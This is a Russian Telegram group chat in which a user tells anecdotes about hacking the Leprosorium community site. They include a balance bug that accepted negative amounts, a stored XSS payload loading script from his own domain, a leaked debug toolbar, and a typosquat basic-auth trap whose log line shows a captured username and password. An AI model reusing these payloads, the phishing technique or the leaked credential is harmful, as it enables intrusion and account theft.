Их ценность уже не такая как лет 8 назад.
лет 6 назад я и в правду хотел на лепру :(
Roman
Roman
лепра наше всё
Dmitry
Ну если бы у меня не было своей подлепры
Dmitry
Я бы давно выпилился
Anton
могу рассказать интересные истории, связанные с безопасностью лепры
Roman
Roman
Антон не тот чат
Olsen
могу рассказать интересные истории, связанные с безопасностью лепры
какого года? может позвать кого-то из разрабов чтоб послушали?
Roman
В ансибл
Anton
в ретроспективе моих 7 лет на лепре
Aleksey
@ansible_ru
Anton
последний инцидент был вот недавно, менее полугода
Roman
хуя, я не знаю о таком чате, странно
Olsen
ну, давай, чо)
Anton
так я про то что я там находил, а не валенки уйского
Roman
лешка хуешка
Anton
В общем дело было давно, лет эдак дохуя назад, когда только-только йован въебал систему ЛВ. Ввели тогда систему званий, понавесили свистоперделок, поиск, естестно тогда ещё не работал, все молились на Витеньку.
Anton
И в системе званий обнаружился интересный баг. При попытке въебать звание, можно было указать отрицательную сумму, и, о чудо, алгебраическая лепромашина плюсовала на баланс ЛВ. А это, между прочим, было ещё до вигоды, и стоило очень много.
Anton
Нахуячил я тогда от радости себе пару лямов ЛВ, вылез на главную, и давай устраивать атракцион невиданной щедрости. Сделал пост, раздавал ЛВ направо и налево, чувствовал себя абрамовичем. Но йован не понял, витенька обиделся и меня выпилили.
Aleksey
Anton
это только начало. продолжать?
Aleksey
Давай.
🏳️ Phil
а никто докер не прбовал с ipv6 ULA внутри сделать?
Anton
в итоге пришлось переписываться с витенькой, просить пощады и, о чудо, я был разбанен. В памяти остался только перевод некоей суммы лв виконту с примечанием "на повышение квалификации". БД тогда откатили, деноминацию отменили, в библию лепры сей факт записан небыл, ибо инфобез.
Olsen
может в инбокс отделимся с этой историей?)
Olsen
чтоб не офтопить
Stanislav
Roman
хотя есть идея по лучше, Антон Сергеевич, мб на митапе расскажешь?)
Anton
Второй инцидент был пару лет назад. В личном профайле лепры можно было указать ой си кью. Ею, конечно, никто уже на тот момент не пользовался, но поле было нефильтрованным, крафтовым, и позволяло всунуть байт 20 хранимой xss.
Aleksey
А расскажешь почему Витенька обиделся и ушел? Я этот момент пропустил.
Anton
так, как я на тот момент являлся владельцем козырного двухбуквенника hi.kg, в мой профайл был всунут <script src=//hi.kg/></script> и профайл стал волшебным. При входе на профиль отображалась матрица. Был создан пост на главной, но баг быстро закрыли, не дав народу повесилиться.
Olsen
А расскажешь почему Витенька обиделся и ушел? Я этот момент пропустил.
а ты бы за столько лет не затрахался?
Aleksey
так, как я на тот момент являлся владельцем козырного двухбуквенника hi.kg, в мой профайл был всунут <script src=//hi.kg/></script> и профайл стал волшебным. При входе на профиль отображалась матрица. Был создан пост на главной, но баг быстро закрыли, не дав народу повесилиться.
Можешь писать в отдельный чатик :) Всем кому интересно вот ссылка: https://telegram.me/joinchat/ABR0pEDcRr2GkPDkAc_5wA
🏳️ Phil
напомните, а лепра это что? кто такие йован, витенька, etc
Aleksey
напомните, а лепра это что? кто такие йован, витенька, etc
Это сайт с ебанутыми который не существует.
Александр
Ну это когда было?
Anton
третий инцидент был связан с золушкой, и был он, как понимаете, недавно. Эта красавица въебала на главную пост о новых фишечках. Фишечка эта привела к утечке секретного домена lepro-test.futuware.ru, т.к. часть картинок была с этого урла, и часть юзеров лепры попала в суперлепру для разработчиков. Базы там были разные, но на секретной лепре был активирован интересный инструмент - Pyramid Debug Toolbar. Этот инструмент показывал в реалтайме все гет пост запросы сервера, переменные, конфигурацию, и даже скл запросы нового движка, который теперь уже не перл, а вполне сибе питон
Anton
Я почуял неладное, и срочно начал хуячить в личку письма лепроюзерам, чьи аккаунты в реалтайме светились на секретной лепре, ну и шваркнул письмо золушке. Ей объявили выговор, баг был закрыт, лепроюзеры - спасены.
Anton
и последний инцидент был связан с третьим, но за него меня снова забанили, т.к. йован - совсем не безопасник.
🏳️ Phil
тьфу пропасть. я грешным делом думал жтот чат опять можно читать. а тут кащениты за uucp болтают
Anton
Дело в том, что знание того, что существует домен lepro-test.futuware.ru не давал мне покоя. я не спал, ворочался, и думал - как же попасть в эту святаясвятых, стать пентестером лепры и войти в ранг посвященных. И тут меня озарило - ведь не все умные и знают, куда стоит вбивать пароли, и я сделал подлепру. lepro-test.leprosorium.ru
На этой подлепре был размещён всего один пост, и в посте была картинка. Картинка вела на специально купленный для этого и контролируемый мною домен lepro-test.TUFUWARE.ru
Мария
Anton
на картинку была повешена базовая авторизация 401 хттп кодом, и я лег спать.
Anton
утром, открыв логгер, я увидел заветный пароль от базовой авторизации. Только некто, имеющий доступ к lepro-test.futuware.ru вбил пароль от этого домена к моей подлепре на lepro-test.leprosorium.ru
Anton
Пароль подошел, и я попал в секретную лепру
Aleksey
И как там?
Anton
2016-04-23 01:17:43 5.228.134.180 Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E238 Safari/601.1 futurico:rqrqrq11 got password
Anton
вот собственно и доступ, который был. Но у тому моменту, как это произошло, моя подлепра попала в архив, а так, как я не собирался ломать всех и не подумал об этом, запрос на базовую авторизацию увидела вся лепра.
Anton
Тут же я был забанен, т.к. оепра объявила меня фишером
Anton
Но суть в том, что я даже не думал фишить лепру. Я разместил картинку с запросом пароля только в своей подлепре, и даже не знал о функционале архива, куда попадают подлепры.
Anton
некто, владеющий доступом к lepro-test.futuware.ru просто тупо сам взял и вбил пароль на моей подлепре. Мне даже не пришлось никому скидывать ссылку на мою подлепру. Некая комбинация тайп-фишинга вышла
Anton
после этого я был забанен лично йованом с примечанием "навсегда".
Anton
но так, как я понимал, что дело совсем не в фишинге, а в процессе ИБ внутри специалистов лепры, я стал бороться. Я нашел личный номер йована (не спрашивайте как), и позвонил ему. трубку поднял приятный сербский голос, который ахуел, когда узнал, кто ему звонил. Серб встал в позу и сказал - ты, Антон, мудила, и я тебя не разбаню никогда. Иди нахуй, я йован, ты говно.
Anton
После этого началась сложная переписка, где мне пришлось объяснять человеку, далекому от ИБ, но близкому у ИТ, суть бага. Переписка была реально долгой, йован сопротивлялся, но оказался демократом. Вопрос о баге и моем существовании был поставлен на голосование в Футурико, и демократический разум победил. Я был разбанен, секретная лепра была убрана из интернета, все остались довольны.
Anton
С тех пор я не нахожу себе места, хожу по чатикам и рассказываю выдуманные истории, как я ломал лепру. Хочу акцентировать - всё, что вы тут услышали, является чистой выдумкой и продуктом воспаленного мозга. Вот такие трудовыебудни обычного пентестера из маленькой, но очеь горной страны в Средней Азии.
Olsen
а ты хорош)
Roman
Антон такой
Roman
под пиво он и не такие байки травит
Roman
выдумщик тот еще